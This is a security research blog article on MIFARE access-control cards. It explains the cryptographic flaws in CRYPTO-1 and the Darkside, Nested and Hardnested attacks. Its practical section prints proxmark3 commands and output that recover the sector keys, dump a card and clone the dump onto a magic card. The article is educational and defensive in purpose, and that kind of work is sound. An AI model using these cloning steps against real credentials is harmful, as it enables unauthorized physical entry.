Physical Access Control Systems
_

All About MIFARE (HF)

Published: December 7, 2025
Warning: This is a security research article. Always obtain proper authorization before testing any access control systems. Unauthorized testing of physical security systems is illegal and unethical.

Possibly the most common credential you will come across is the MIFARE family of tags. MIFARE technologies can range from super duper secure to rubbish. Forewarning for this article; it will be wordy, because I am attempting to explain cryptographic failures within older MIFARE technologies.

Introduction

MIFARE is a family of high frequency tags originally developed by NXP Semiconductors. "MIFARE" is an amalgation of "Mikron" (the predecessor to NXP) and "FARE collection system". There have been quite a number of MIFARE technologies developed over the years, some more vulnerable than others - this obviously leaves room for institutions to rely on decade-old systems that can be exploited and bypassed.

Types of MIFARE

You can split MIFARE into the following major sub-families:

MIFARE Classic

MIFARE Ultralight

Note: Secure messaging refers to encryption applied to communications between the reader and card chip after authentication. You can liken this to using HTTPS for logging in, but HTTP for everything else.

MIFARE Plus

Note: SL1/SL2/SL3/SL4 refers to the card's security level. This is a configuration on the card side that determines the maximum level the card can use to communicate. The lower levels support backwards compatibility with older, insecure technologies.

MIFARE DESFire

Clonable MIFARE Types

MIFARE Family Technology Clonable? Emulatable? Notes
MIFARE Classic Classic 1K Clonable Emulatable CRYPTO‑1 (broken).
Classic 4K Clonable Emulatable CRYPTO‑1 (broken).
Classic Mini Clonable Emulatable CRYPTO‑1 (broken).
MIFARE Ultralight Ultralight (EV0) Clonable Emulatable No cryptography.
Ultralight C Deployment‑dependent Partially Emulatable 3DES auth; secure if configured properly.
Ultralight EV1 Deployment‑dependent Partially Emulatable Password-protected mode is weak; cryptographic options are stronger.
Ultralight EV2 Not clonable Partially Emulatable Supports AES secure messaging.
MIFARE Plus Plus SL1 Clonable Emulatable Supports CRYPTO‑1.
Plus SL2 Clonable Emulatable Supports CRYPTO-1.
Plus SL3 Not clonable Partially Emulatable AES‑based authentication.
Plus EV1 / EV2 Not clonable Not emulatable AES secure messaging; hardened security.
MIFARE DESFire DESFire EV1 Not clonable Not emulatable 3DES / AES.
DESFire EV2 Not clonable Not emulatable Advanced secure messaging + key diversification.
DESFire EV3 Not clonable Not emulatable Most secure MIFARE product; hardened against relay/MITM.

Attacking MIFARE Classic

Just to preface, UIDs and card contents are different. A UID is an immutable unique identifier specific to every card and is immediately readable without crypto keys. Card contents can contain a variety of things depending on the implementation, such as the number of points left on your subway card. A good PAC system would rely on the contents protected by cryptography for proper authentication, but unfortunately this is not always the case. There exist so-called "magic" MIFARE Classic cards which allow you to manipulate the UID, and in some cases this may be all you need to clone a credential. The below explanations outline attacks seeking to access encrypted memory contents of cards.

As previously mentioned, the MIFARE Classic family relies on a proprietary cryptographic stream cipher known as CRYPTO-1, intended to handle mutual authentication and provide lightweight confidentiality. Designed in the 1990s, the algorithm has been subject to rigorous reverse engineering efforts which have publicly highlighted numerous structural weaknesses in its design.

At the core of CRYPTO-1's vulnerability is its use of a small 48-bit key combined with a linear feedback shift register (LFSR) based stream cipher. Modern cryptographic ciphers tend to avoid such simple constructions because predictable keystream behaviour and limited internal states often lead to key recovery strategies. Additionally, part of the Classic authentication protocol relies on a pseudo-random number generator (PRNG) that has insufficient entropy, making its outputs statistically predictable. These two elements are central to all known MIFARE Classic attacks.

Note: If you are interested in PRNG exploitation techniques, this video by well-known hardware hacker KingPin has a great example, and is also a good watch.

Darkside Attack

The Darkside attack takes advantage of both the weak PRNG and the protocol's error responses. CRYPTO-1 reveals information about internal cipher states through the difference between valid and invalid authentication responses. Because the Classic card’s behaviour subtly changes based on the correctness of specific bits, an attacker can use these behavioural clues to derive portions of the keystream. This form of information leakage is known as a side-channel at the protocol level, and once enough keystream is recovered, it becomes possible to compute the secret key offline.

Nested Attack

Classic cards are divided into multiple “sectors,” each protected by two keys (Key A and Key B). Due to the way authentication sessions are structured, entering a sector with one known key can leak information about the keystream used for other sectors. The Nested attack exploits this relationship: once a single sector key is known, additional authentications can be performed in a way that exposes predictable keystream fragments for neighbouring sectors. Because the same cryptographic mechanism is reused for every sector on the card, the weaknesses compound and effectively snowballs into access to many or all others.

Hardnested Attack

The Hardnested attack is an evolution of the Nested technique, designed to address scenarios where earlier methods are too slow or insufficient. It leverages a combination of deeper cryptanalysis, improved state recovery strategies, and modern computing power to efficiently search the reduced key space created by weaknesses in the cipher structure. Although still operating within theoretical limitations, the hardnested attack demonstrates that the Classic security model is fundamentally incompatible with modern attacking resources.

Note: All of the above attacks are possible using a proxmark3 and iceman's fork of the firmware.

Practical Exploitation

Fortunately, the evolution of the proxmark3 overtime has allowed for pretty simple application of these attacks. You can instruct the proxmark to hail mary with the above attacks and fully compromise a MIFARE Classic credential using the below:

[usb] pm3 --> hf mf autopwn [!] ⚠️ Known key failed. Can't authenticate to block 0 key type A [!] ⚠️ No known key was supplied, key recovery might fail [+] loaded 5 user keys [+] loaded 61 hardcoded keys [=] Running strategy 1 [+] Target sector 0 key type A -- found valid key [ FFFFFFFFFFFF ] (used for nested / hardnested attack) [+] Target sector 0 key type B -- found valid key [ FFFFFFFFFFFF ] [+] Target sector 1 key type A -- found valid key [ FFFFFFFFFFFF ] [+] Target sector 1 key type B -- found valid key [ FFFFFFFFFFFF ] ... [+] Target sector 14 key type B -- found valid key [ FFFFFFFFFFFF ] [+] Target sector 15 key type A -- found valid key [ FFFFFFFFFFFF ] [+] Target sector 15 key type B -- found valid key [ FFFFFFFFFFFF ] [+] -----+-----+--------------+---+--------------+---- [+] Sec | Blk | key A |res| key B |res [+] -----+-----+--------------+---+--------------+---- [+] 000 | 003 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D [+] 001 | 007 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D ... [+] 014 | 059 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D [+] 015 | 063 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D [+] -----+-----+--------------+---+--------------+---- [=] ( D:Dictionary / S:darkSide / U:User / R:Reused / N:Nested / H:Hardnested / C:statiCnested / A:keyA ) [+] Generating binary key file [+] Found keys have been dumped to `/root/hf-mf-CADEFF16-key.bin` [=] --[ FFFFFFFFFFFF ]-- has been inserted for unknown keys where res is 0 [=] Transferring keys to simulator memory ( ok ) [=] Dumping card content to emulator memory (Cmd Error: 04 can occur) [=] downloading card content from emulator memory [+] Saved 1024 bytes to binary file `/root/hf-mf-CADEFF16-dump.bin` [+] Saved to json file /root/hf-mf-CADEFF16-dump.json [=] Autopwn execution time: 2 seconds

Unfortunatey I don't have a spare MIFARE Classic card lying around, so the above example uses a blank magic card (hence all of the "F"s). But, if you were to completely clone a credential to a magic card, you would do something like the below, using the dump file:

[usb] pm3 --> hf mf cload -f /root/hf-mf-CADEFF16-dump.bin [+] Loaded 1024 bytes from binary file `/root/hf-mf-CADEFF16-dump.bin` [=] Copying to magic gen1a MIFARE Classic 1K [=] ................................................................. [+] Card loaded 64 blocks from file [=] Done!

Conclusion

When you see "MIFARE" it can be either really good for you, or really good for whatever is behind the PAC system. In short, Classic is antiquated and broken, and therefore easy to clone. DESFire is the newest, and currently unbroken. There are technologies in between, but in my experience the most common in access control systems is (surprise surprise) the insecure Classic. Invest in your future by investing in your security.

← Back to Home